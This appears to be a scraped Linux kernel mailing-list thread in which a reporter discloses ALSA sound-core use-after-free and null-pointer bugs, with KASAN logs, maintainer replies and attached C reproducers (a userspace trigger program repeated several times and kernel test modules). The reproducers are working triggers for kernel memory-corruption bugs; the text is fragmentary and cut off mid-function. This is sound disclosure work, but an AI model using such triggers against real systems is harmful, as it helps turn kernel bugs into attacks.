#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <sound/core.h>
#include <sound/compress_driver.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_compr *compr;

static int c_open(struct snd_compr_stream *stream) { return 0; } static int c_free(struct snd_compr_stream *stream) { return 0; } static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }

static struct snd_compr_ops compr_ops = {
	.open = c_open,
	.free = c_free,
	.trigger = c_trigger,
};

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static void card_private_free(struct snd_card *c)

{
	pr_info("card private_free: kfree(compr=%p)\n", compr);
	kfree(compr);
	compr = NULL;
}

static int __init sndcore_compress_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_compress");
	if (err < 0)
		return err;

	compr = kzalloc(sizeof(*compr), GFP_KERNEL);
	if (!compr) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return -ENOMEM;
	}
	compr->ops = &compr_ops;
	card->private_free = card_private_free;

	err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
	if (err < 0) {
		kfree(compr);
		compr = NULL;
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("compress card registered\n");
	return 0;
}

static void __exit sndcore_compress_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}
Quoted 4 lines

module_init(sndcore_compress_init); module_exit(sndcore_compress_exit); MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");

Thanks for the report.

But, as I already requested in your previous reports, could you rather submit a fix patch along with the report? I suppose you're working with AI, so it's just a matter of asking it to the model.

Takashi

author
#98 lore raw

sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)

In reply to Greg KH

snd_jack_kctl_new() publishes a new snd_kcontrol with snd_ctl_add() and only then allocates the private struct snd_jack_kctl. If that allocation fails, the error path calls snd_ctl_free_one(kctl) although the control is still linked in card->controls and card->ctl_hash; snd_ctl_free_one() does not take controls_rwsem, does not list_del() and does not remove_hash_entries(). The result is a freed snd_kcontrol that remains reachable from the card's control list and hash table, so a concurrent control read (snd_ctl_elem_list(), or the lockless fast path of snd_ctl_find_id()) can read freed memory and card teardown (snd_ctl_dev_free() -> __snd_ctl_remove()) will list_del()/kfree() it again. Upstream's error branch is snd_ctl_remove(card, kctl), not snd_ctl_free_one(); this tree changed exactly that line.

The same failure-rollback bug has a deterministic companion path:
snd_jack_new() can fail after snd_ctl_add() has already published the kcontrol (for example, when its subsequent kstrdup() of the jack id fails), and it also does not undo the publication. On card teardown the kcontrol's private_free function then runs snd_jack_kctl_private_free() on a zero-initialized jack_kctl->list and executes list_del() on the zero page. I reproduced that companion path on Linux 7.3 with KASAN and a small test module: snd_jack_new() with a 64 MB id returns -ENOMEM after publishing the kcontrol, and snd_card_free() reports a null-ptr-deref in snd_jack_kctl_private_free() from __snd_ctl_remove()/snd_ctl_dev_free().

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source tree, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB). CONFIG_SND_JACK=y and CONFIG_SND_JACK_INPUT_DEV=y. Version line in evidence/kernel-version.txt.

* Root cause

sound/core/jack.c:426-456 (snd_jack_kctl_new):

    kctl = snd_kctl_jack_new(name, card);
    if (!kctl)
        return NULL;

    err = snd_ctl_add(card, kctl);      /* publishes into card->controls */
    if (err < 0)
        return NULL;                    /* snd_ctl_add already freed it */

    jack_kctl = kzalloc_obj(*jack_kctl);
    if (!jack_kctl)
        goto error;                     /* kctl is already published */

    ...
    return jack_kctl;

error:
snd_ctl_free_one(kctl); /* no snd_ctl_remove() */
return NULL;

snd_ctl_free_one() (sound/core/control.c:326-334) only calls private_free and kfree(); its own comment says "Don't call this after the control was added to the card." The correct primitive, snd_ctl_remove() (control.c:621-627) / __snd_ctl_remove() (control.c:581-601), takes controls_rwsem for writing, removes the hash entries, list_del()s the node and only then frees the object. Upstream jack.c has snd_ctl_remove(card, kctl) in this error branch.

The second half is in snd_jack_new() (jack.c:480-570): after snd_jack_kctl_new() has published the kcontrol, later failures (jack allocation, jack->id kstrdup, input device allocation, snd_device_new) return without removing it; the kcontrol stays in card->controls with snd_jack_kctl_private_free installed but with a never-linked (zeroed) jack_kctl->list.

* Consequences

- Dangling list/hash node: card->controls still contains kctl and

    card->ctl_hash still maps its id to it after kfree(kctl).
  - Concurrent reader: snd_ctl_elem_list() walks card->controls under
    controls_rwsem and reads kctl->id; snd_ctl_find_id()'s fast path
    (CONFIG_SND_CTL_FAST_LOOKUP) does xa_load() and elem_id_matches()
    without the lock.  Either can read freed memory.
  - Card teardown: snd_ctl_dev_free() (control.c:2457-2479) walks
    card->controls and calls __snd_ctl_remove() on the freed node:
    list_del() on freed memory and a second kfree().
  - Companion path: snd_jack_new() failure leaves the kcontrol with a
    zeroed jack_kctl->list; the card teardown runs
    snd_jack_kctl_private_free() -> list_del(&jack_kctl->list), which
    writes to address 0x8 and crashes deterministically.

* Trigger model

Primary MR-02 branch: memory allocation failure of kzalloc_obj(*jack_kctl) after a successful snd_ctl_add(). This can be induced by memory pressure or fault injection; once it happens, the damage is persistent (no concurrency needed for the teardown crash). A concurrent control read/remove widens the impact to UAF before teardown.

Companion branch: any snd_jack_new() caller (ASoC jack, HDA, test module) whose later allocation fails; the failure returns an error to the driver but leaves the published kcontrol behind.

* Reproducer (attached) and results on 7.3

sndcore_jack.c creates a card and calls snd_jack_new() with a 64 MB id string; snd_jack_kctl_new() publishes the kcontrol, then kstrdup() fails with -ENOMEM. sndcore_test.c writes the module's "free" parameter to trigger snd_card_free(). Observed (evidence/mr02-kasan-null-deref.log):

    snd_jack_new(huge id) returned -12 (expected -ENOMEM)
    BUG: KASAN: null-ptr-deref in snd_jack_kctl_private_free+0x44/0x80
    Write of size 8 at addr 0000000000000008
    Call Trace:
     snd_jack_kctl_private_free+0x44/0x80
     __snd_ctl_remove+0x106/0x140
     snd_ctl_dev_free+0x53/0xb0
     __snd_device_free+0x86/0x150
     snd_device_free_all+0xaa/0xd0
     release_card_device+0x4a/0x120
    KASAN bug count: 1

This is the companion failure path, not the exact kzalloc_obj(*jack_kctl) branch; the latter is covered by the static analysis above and by the upstream-vs-tree diff (upstream uses snd_ctl_remove()). I state this distinction explicitly rather than claiming the exact branch was forced.

* Suggested direction

- In snd_jack_kctl_new(), replace the error-path snd_ctl_free_one(kctl) with snd_ctl_remove(card, kctl), restoring the upstream behavior.
- In snd_jack_new(), add rollback for every failure after the snd_jack_kctl_new() call (remove the kcontrol or allocate all resources before publishing).
- Optionally add a debug check in snd_ctl_free_one() that the control is not linked, to catch this class of API misuse.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <sound/core.h>
#include <sound/jack.h>
#include "sndcore_parent.h"

static struct snd_card *card;

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static int __init sndcore_jack_init(void)

{
	struct snd_jack *jack = NULL;
	char *big;
	int err;

	err = sndcore_card_new(&card, "sndcore_jack");
	if (err < 0)
		return err;

	big = kvmalloc(64 * 1024 * 1024, GFP_KERNEL);
	if (!big) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return -ENOMEM;
	}
	memset(big, 'A', 64 * 1024 * 1024 - 1);
	big[64 * 1024 * 1024 - 1] = 0;

	err = snd_jack_new(card, big, SND_JACK_HEADPHONE, &jack, true, false);
	pr_info("snd_jack_new(huge id) returned %d (expected -ENOMEM)\n", err);
	if (!err)
		pr_warn("unexpected success: jack=%p\n", jack);
	kvfree(big);

	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("card registered, kcontrol is published but jack is NULL\n");
	return 0;
}

static void __exit sndcore_jack_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}

module_init(sndcore_jack_init); module_exit(sndcore_jack_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-02 jack failure-rollback verifier");

#99 lore raw

Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)

Hi Hanxiang,

Thanks for the detailed report and the KASAN reproducer.

Quoted 4 lines

The same failure-rollback bug has a deterministic companion path:
snd_jack_new() can fail after snd_ctl_add() has already published the kcontrol (for example, when its subsequent kstrdup() of the jack id fails), and it also does not undo the publication.

The companion failure path in snd_jack_new() was already fixed by my upstream commit:

commit ebce20196346906cfa33a84a021ce8f9bd91880c
ALSA: jack: Fix jack control cleanup on error paths

https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?id=ebce20196346906cfa33a84a021ce8f9bd91880c

The patch initializes jack_kctl->list and routes the failure paths in snd_jack_new() through common cleanup, ensuring that the previously created kcontrol is removed using snd_ctl_remove().

Could you check whether your reproducer still triggers the issue with this commit applied?

Thanks for reporting this.

Regards,
Sreeraj

author
#100 lore raw

Re: Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)

That patch does work, thanks.

Quoted 32 lines

-----原始邮件-----
发件人: "Sreeraj S Kurup" <[email protected]>
发送时间:2026-11-24 17:39:42 (星期二)
收件人: [email protected]
抄送: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] 主题: Re: sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref)

Hi Hanxiang,

Thanks for the detailed report and the KASAN reproducer.

Quoted 4 lines

The same failure-rollback bug has a deterministic companion path:
snd_jack_new() can fail after snd_ctl_add() has already published the kcontrol (for example, when its subsequent kstrdup() of the jack id fails), and it also does not undo the publication.

The companion failure path in snd_jack_new() was already fixed by my upstream commit:

commit ebce20196346906cfa33a84a021ce8f9bd91880c
ALSA: jack: Fix jack control cleanup on error paths

https://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound.git/commit/?id=ebce20196346906cfa33a84a021ce8f9bd91880c

The patch initializes jack_kctl->list and routes the failure paths in snd_jack_new() through common cleanup, ensuring that the previously created kcontrol is removed using snd_ctl_remove().

Could you check whether your reproducer still triggers the issue with this commit applied?

Thanks for reporting this.

Regards,
Sreeraj

author
#101 lore raw

sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

In reply to Greg KH

Closing a RawMIDI input stream can leave a work item queued after the runtime object it uses has been freed. close_substream() calls snd_rawmidi_input_trigger(substream, 0) first; that function calls the driver's trigger(0), then cancel_work_sync(&runtime->event_work) -- but it does not hold substream->lock and it runs while substream->opened is still 1. Only afterwards does close_substream() take substream->lock, set opened = 0, call ops->close() and snd_rawmidi_runtime_free(), which kfree()s struct snd_rawmidi_runtime.

In the window between cancel_work_sync() returning and opened becoming 0 on another CPU, a driver can still call snd_rawmidi_receive(). receive() takes substream->lock, sees opened == 1, queues data and executes schedule_work(&runtime->event_work). The work is then pending again, the runtime is freed, and when the worker runs it dereferences runtime->event and runtime->substream -- a use-after-free. Upstream closes this window with a second cancel_work_sync() after opened is cleared (the comment says "Drain input work queued after the earlier cancellation"), and also marks the substream disconnected in snd_rawmidi_dev_disconnect(). Both protections are missing here.

I reproduced the UAF on Linux 7.3 with KASAN. A test module registers a rawmidi input stream and a kthread keeps calling snd_rawmidi_receive(); the user program opens /dev/snd/midiC0D0, closes it and frees the card. The close path re-queues event_work after the first cancellation and the work reports slab-use-after-free in snd_rawmidi_input_event_work() (16 KASAN reports in the run). To make the timing deterministic I added verification-only mdelay() calls in the patched snd-rawmidi.ko: 100 ms after cancel_work_sync() and 3000 ms at the start of the work. They widen the window but do not change the ordering; the patch is attached so the claim can be audited and reverted.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source with KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB). CONFIG_SND_RAWMIDI=m was enabled for the test; the only functional source change is the verification-only mdelay instrumentation in sound/core/rawmidi.c (patch attached). Version line in evidence/kernel-version.txt.

* Root cause

sound/core/rawmidi.c:216-224:

    static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
    {
        if (!substream->opened)
            return;
        substream->ops->trigger(substream, up);
        if (!up)
            cancel_work_sync(&substream->runtime->event_work);
    }

No substream->lock is held across the opened check, trigger and cancel.

sound/core/rawmidi.c:533-565 (close_substream):

    if (cleanup) {
        if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
            snd_rawmidi_input_trigger(substream, 0);
        ...
    }
    scoped_guard(spinlock_irq, &substream->lock) {
        substream->opened = 0;
        substream->append = 0;
    }
    substream->ops->close(substream);
    ...
    snd_rawmidi_runtime_free(substream);   /* kfree(runtime) */

sound/core/rawmidi.c:1146-1218 (snd_rawmidi_receive):

    guard(spinlock_irqsave)(&substream->lock);
    if (!substream->opened)
        return -EBADFD;
    ...
    if (result > 0) {
        if (runtime->event)
            schedule_work(&runtime->event_work);
        ...
    }

Because receive() serializes with the opened=0 store but not with the earlier cancel_work_sync(), it can queue the work after cancel and before opened is cleared. snd_rawmidi_runtime_free() does not cancel the work and does not re-check it.

Upstream has an additional cancel_work_sync() after opened is cleared in close_substream(), plus a disconnected flag and cancel in snd_rawmidi_dev_disconnect(); this tree has neither.

* Trigger model

- An input RawMIDI stream is open and has runtime->event set (the sequencer's snd_midi_input_event(), or a driver using the RawMIDI input API);
- the stream is closed while the driver can still deliver input (for example a serial UART whose receive path checks its own "input open" mode bit until input_close(), or any driver that calls snd_rawmidi_receive() from its RX path);
- receive() queues event_work after cancel_work_sync() and before opened=0; runtime is freed; the worker runs.

The attached test module does not require special hardware: its kthread plays the role of a driver delivering input.

* Reproducer (attached) and results on 7.3

sndcore_rawmidi.c creates a card + rawmidi input stream, installs a runtime->event callback and starts a kthread that loops:
reset runtime->avail under substream->lock, then call snd_rawmidi_receive() with one byte. sndcore_test.c opens /dev/snd/midiC0D0, sleeps, closes the fd, waits and frees the card.

Observed :

    event callback entered n=3 opened=0
    BUG: KASAN: slab-use-after-free in snd_rawmidi_input_event_work+0x2d/0x60 [snd_rawmidi]
    Workqueue: events snd_rawmidi_input_event_work [snd_rawmidi]
    Call Trace:
     snd_rawmidi_input_event_work+0x2d/0x60 [snd_rawmidi]
     test_event+0x3f/0x60 [sndcore_rawmidi]
     process_one_work+...
    Allocated by task ...:
     open_substream+...
    Freed by task ...:
     close_substream.part.0+...
    Last potentially related work creation:
     snd_rawmidi_receive+0x31b/0x5a0 [snd_rawmidi]
     flood_fn+...
    KASAN bug count: 16

The "opened=0" in the callback is the value observed after the UAF; the work ran after close, on the freed runtime.

* Suggested direction

- In close_substream(), after opened is cleared, do a second

    cancel_work_sync(&runtime->event_work) for the input stream, as
    upstream does.

- Restore the per-substream disconnected flag and the receive/trigger checks, and cancel the work in snd_rawmidi_dev_disconnect().
- Consider taking substream->lock consistently around the opened check and cancellation, or document the lock ordering.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/rawmidi.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_rawmidi *rmidi;
static struct task_struct *flood;
static struct snd_rawmidi_substream *in_sub;
static atomic_t events = ATOMIC_INIT(0);
static unsigned char byte = 0x5a;

static int rm_open(struct snd_rawmidi_substream *s) { return 0; } static int rm_close(struct snd_rawmidi_substream *s) { return 0; } static void rm_trigger(struct snd_rawmidi_substream *s, int up) { } static void rm_drain(struct snd_rawmidi_substream *s) { }

static const struct snd_rawmidi_ops rm_ops = {
.open = rm_open,
.close = rm_close,
.trigger = rm_trigger,
.drain = rm_drain,
};

static void test_event(struct snd_rawmidi_substream *s)

{
	int n = atomic_inc_return(&events);
	if (n < 8)
		pr_info("event callback entered n=%d opened=%d\n", n, s->opened);
}

static int flood_fn(void *unused)

{
	int i;

	in_sub = list_first_entry(&rmidi->streams[SNDRV_RAWMIDI_STREAM_INPUT].substreams,
				  struct snd_rawmidi_substream, list);
	for (i = 0; i < 4000 && !kthread_should_stop(); i++) {
		if (READ_ONCE(in_sub->opened))
			break;
		msleep(5);
	}
	if (!READ_ONCE(in_sub->opened))
		return 0;
	if (in_sub->runtime)
		in_sub->runtime->event = test_event;
	pr_info("flood start: opened=%d runtime=%p\n", in_sub->opened, in_sub->runtime);

	while (!kthread_should_stop() && READ_ONCE(in_sub->opened)) {
		unsigned long flags;

		if (in_sub->runtime) {
			spin_lock_irqsave(&in_sub->lock, flags);
			if (in_sub->runtime)
				in_sub->runtime->avail = 0;
			spin_unlock_irqrestore(&in_sub->lock, flags);
		}
		snd_rawmidi_receive(in_sub, &byte, 1);
		cond_resched();
	}
	pr_info("flood stop: opened=%d events=%d\n", in_sub->opened, atomic_read(&events));
	return 0;
}

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static int __init sndcore_rawmidi_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_rawmidi");
	if (err < 0)
		return err;
	pr_info("card=%p module=%p this=%p\n", card, card->module, THIS_MODULE);
	if (card->module) {
		pr_info("try_module_get(card->module)=%d\n", try_module_get(card->module));
		module_put(card->module);
	}

	err = snd_rawmidi_new(card, "sndcore", 0, 0, 1, &rmidi);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	rmidi->info_flags = SNDRV_RAWMIDI_INFO_INPUT;
	snd_rawmidi_set_ops(rmidi, SNDRV_RAWMIDI_STREAM_INPUT, &rm_ops);

	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}

	flood = kthread_run(flood_fn, NULL, "sndcore_flood");
	if (IS_ERR(flood)) {
		err = PTR_ERR(flood);
